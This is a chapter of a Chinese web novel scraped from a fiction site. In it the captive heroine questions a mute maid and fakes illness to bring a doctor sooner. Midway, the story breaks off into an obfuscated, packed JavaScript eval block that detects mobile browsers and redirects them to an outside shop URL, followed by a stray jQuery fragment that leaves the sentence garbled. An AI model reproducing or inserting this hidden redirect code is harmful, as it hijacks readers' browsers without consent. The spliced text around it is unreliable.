文趣网 > 其他小说 > 将军总说我娇气 > 33. 困局
    姜荞歌再次醒来时,头疼得厉害。像有人拿着钝器在她脑子里一下一下地敲。她闭着眼缓了许久,才勉强将神智一点点从混沌里捞回来。

    最先恢复的是触觉,身下的褥子很软,被子也厚,屋里烧着炭,暖得甚至有些过分。她右手掌心一阵一阵发疼,想来是先前被碎瓷扎伤的地方。腕上的束缚却已经不见了,脚也能动。

    随后记忆也一点点涌了上来。

    阿隼冒雨来将军府。

    红豆粥。

    她察觉不对,砸了碗。

    再后来,是那辆马车。

    还有阿隼坐在她对面,堂而皇之告诉她,自己是北狄二皇子,又说了一堆实在叫人不知该从哪里骂起的胡话——什么谢凛配不上她,什么北狄王后,甚至还一本正经地让她“等他”。

    姜荞歌闭着眼,眉心都跟着皱了起来。

    她一时竟分不清,自己后来又昏过去,到底是因为迷药药劲没散,还是单纯被阿隼那番骇人听闻的话气得头疼。

    大约两者都有。

    她又躺了一会儿,才撑着床慢慢坐起来。

    这一动,头顿时更晕。

    若是在将军府,这时候她大约已经皱着眉喊人了。若谢凛恰好在,说不准还会先嫌她“起那么急做什么”,再冷着脸把水和药一并送过来。

    可如今没有,这里不是将军府。她身边没有婢女,也没有孙军医,更没有那个嘴上嫌她娇气,真见她难受却比谁都先皱眉的人。

    姜荞歌抿了抿发白的唇。

    只能自己撑。

    她扶着床柱坐稳,缓了好一会儿,才抬头打量四周。

    屋子不大,一张床,一套旧木桌椅,墙角立着柜子,窗边摆了只不算精致却擦得很干净的花瓶。桌上还有一只小小的针线篮,里头压着几块颜色朴素的布。墙边挂着件少年旧衣,已经洗得发白,尺寸明显偏小,像是很多年前留下来的。

    与阿隼那辆收拾得妥帖华贵的马车不同,这间屋子几乎算得上普通。

    甚至有些过分家常。

    姜荞歌的目光缓慢扫过针线篮、旧衣、柜顶上摆着的木头小马,心里忽然浮起一个念头。阿隼说过,他说家里有阿娘,有阿姐,还有一个年幼的弟弟。说大雨天,阿娘会给他和阿弟煮红豆粥。说弟弟总喜欢赤脚往外跑,阿姐会揪着耳朵将人拽回来。

    甚至连那封所谓的“家书”里,都被她一笔一笔写下过这些事。

    姜荞歌盯着那只木头小马,忽然觉得背后一阵发麻。这不会就是——他口中那个“家”吧?

    这个念头一起,她浑身瞬间起了一层细细的鸡皮疙瘩。先前那些原本还叫她觉得心软的细节,此刻再想起来,竟像一层又一层黏腻的蛛网。

    恶心,是真的被恶心得不轻。

    她活了这么多年,自认从不轻易用这样重的词去评价一个人。但阿隼实在很有本事。一个人从名字到家世再到红豆粥,竟能将假话说得如此真诚,还能让她亲手替他润色得情真意切。

    正想着,门外忽然传来轻轻的脚步声,姜荞歌立刻收敛神色。

    门被推开,一个年轻姑娘端着托盘走了进来。那姑娘约莫十七八岁,穿着朴素的青色短褂,头发梳得很利落,明显是婢女打扮。她看见姜荞歌已经醒了,先是愣了一下,随后便快步将手中的温水和清粥放到桌上,又走近几步,指了指她的手。

    姜荞歌看着她:“你是谁?”

    姑娘张了张嘴,却没有发出声音。随后,她抬手指了指自己的喉咙,轻轻摇头。

    姜荞歌一怔,原来是个哑女。

    姑娘见她明白了,便又指了指自己,再指指房间外头,最后双手交叠在身前,低头做了个伺候人的姿势。

    姜荞歌看了一会儿,大约明白了。

    “你是留下来照看我的?”

    姑娘立刻点头。

    “这里是什么地方?”

    姑娘想了想,抬手在空中比划了几下,像是在写什么。姜荞歌皱眉辨认半晌,才勉强看明白她写的是个“王”字。

    她心里一沉:“这是你们王爷的地方?”

    哑女点头。

    果然。

    姜荞歌目光又扫过屋内那些过分家常的摆设,忍不住问:“这里以前住着谁?”

    哑女眨了眨眼。

    “有老妇人么?还有一个姑娘,一个年□□孩?”姜荞歌一边说,一边试着用手比划。

    那哑女却一脸茫然,连连摇头。

    姜荞歌顿了一下:“这里一直只有你?”

    哑女点头,又竖起一根手指,指了指自己。

    姜荞歌:“……”

    她忽然有点想笑。不是高兴,纯粹是被气笑的。

    果然,阿娘是假的、阿姐是假的、弟弟也是假的,那封家书更是从头假到尾。如此一想,她反倒奇异地松了口气。幸好不是真的,至少这世上没有一个什么都不知道的可怜母亲,天天守着一封根本寄不到儿子手里的家书。

    她压下心里那点复杂情绪,又问:“这里已经出了大晟么?”

    这一次,她特意指了指窗外,又在桌面上简单画了两边,指着另一边问:“北狄?”

    哑女明显明白了,连忙摇头,随后又指了指脚下。

    姜荞歌心头微微一动:“还在大晟境内?”

    哑女点头。

    这一刻,姜荞歌一直压着的那口气,终于稍稍松了一点,还没出大晟,那就还有机会。只要没有被带过边境,谢凛的人就有可能找到她。

    想到谢凛,姜荞歌心口又是一阵发紧。他现在一定已经知道她不见了。只是——会回来找她么?

    这个念头一冒出来,她自己先皱了下眉。她不是怀疑谢凛在不在乎自己。只是前线如今正值最关键的时候。北狄老国主病危,几个皇子争权,谢凛好不容易抓住机会带兵出城。若因为自己失踪便撤军,对边城、对整个北境而言,意味着什么,她根本不敢细想。

    他是镇北将军,手底下有数万军士,背后还有一座边城,她不能只想着等他来救自己。

    姜荞歌慢慢收紧手指,她被多关在这里一日,谢凛便多一分掣肘。若阿隼真想拿她做文章,不论是不是拿来交换,都足够搅乱谢凛的心神。

    所以她必须自己想办法出去,至少先把消息递出去。

    姜荞歌重新看向眼前的哑女。这姑娘明显只是奉命照顾她,不像是会参与太深的人。她刚才回答问题时也并不十分防备,只是无法说话而已。

    这便说明,阿隼大概觉得这里足够安全,而越是如此,越可能有机会。

    姜荞歌正想着,那哑女忽然指了指她的手,又指向桌上的药瓶,随后在空中做了个搭脉的动作。

    姜荞歌顺势问:“有大夫会来?”

    哑女点头,她伸出两根手指,随后朝门外指了指。

    姜荞歌试探道:“两日后?”

    哑女再次点头,随即又指指姜荞歌,做出咳嗽的动作,再将双手交叠在胸前,似

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17970489|209990||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是在说什么。

    姜荞歌慢慢明白过来:“是你们王爷吩咐的?”

    哑女点头。

    “他说我身体不好,要定期让大夫来替我看诊?”

    点头。

    姜荞歌眼底神色微微一变。

    大夫,外头的人,而且是定期出入。这也许是她如今唯一能接触到外人的机会。只要那大夫不是阿隼的人,哪怕是,她也总比日日只对着一个哑女多一分可能。

    姜荞歌很快便开口:“我现在头疼得很。”

    她没有撒谎。

    头确实疼得几乎快裂开。

    “还有些胸闷,昨夜又淋了风。”她抬手压着太阳穴,脸色本就因药效未散显得苍白,此刻几乎不用装便已经足够虚弱,“能不能让大夫今日便来?”

    哑女露出些为难的神色,她摇摇头,又比划了两日。意思显然是大夫有固定来诊的日子。

    姜荞歌心里发沉,两天,太久了。她如今甚至不知道这里离边城究竟有多远,更不知道两日后自己还会不会留在这里。若阿隼回来,或是突然决定继续向北走,她连这个机会都不会再有。必须想办法让那个大夫提前来。

    姜荞歌低下眼。

    还没等她想出个办法,喉间忽然涌上一阵极强的痒意。她猛地偏过头:“咳……咳咳……”

    起初只是两声。

    下一刻,却像一下牵动了胸口,她整个身子都弯了下去:“咳咳咳——”

    咳声一声比一声重,哑女明显吓了一跳,连忙上前要扶她。

    姜荞歌摆了摆手,却根本压不住那阵咳。她本就身体弱,昨夜先是惊惧、淋风,又中了不知名的迷药,醒来后胸口一直堵着一口气。如今这一阵咳起来,几乎将五脏六腑都牵得发疼。

    直到最后,她喉间忽然泛起一点腥甜。

    姜荞歌一顿,她下意识用帕子捂住唇。

    待她慢慢把帕子移开时,洁白布料中央已经多了一小片刺眼的红。

    哑女脸色一下子白了,姜荞歌自己也怔了片刻。哑女显然顾不得什么固定日子了。她一把拿过帕子,看了那点血一眼,又急急去摸姜荞歌额头,随即连比划都乱了几分。

    姜荞歌还在咳,脸色也确实越来越白,这并不全是装的。

    可在最初那一瞬惊讶过去后,她脑子里却忽然异常清楚地浮起一个念头:机会来了。

    她没有阻止哑女,只捂着胸口,靠在床边轻轻喘息。哑女急得团团转,随后像终于下定决心似的,抓起那块染血的帕子便往门外跑。

    门一开,姜荞歌几乎下意识抬起眼,门外短暂露出一角陌生院落,青砖矮墙,一棵已经快掉光叶子的老槐树,再远处似乎还有一道月洞门。可只是一瞬,门便又重新关上了。

    姜荞歌默默将这些记在心里。

    约莫过了两刻钟,哑女才重新赶回来。她跑得额头都出了汗,一进门便直奔床边,先指了指外头,又用手比划了一个“一”,随后指着时辰的方向。

    姜荞歌试探着问:“一个时辰?”

    哑女用力点头,随后又做了个背药箱、诊脉的动作。

    姜荞歌终于彻底明白:“大夫会提前来?”

    哑女再次点头,她脸上全是焦急,甚至还将桌上的温水端过来,扶着姜荞歌一点点喝,生怕她真的出了什么大事。

    姜荞歌靠在床头,任由她照顾,眼睫微微垂了下去。

    一个时辰,她只有一个时辰。

    她要见那个大夫。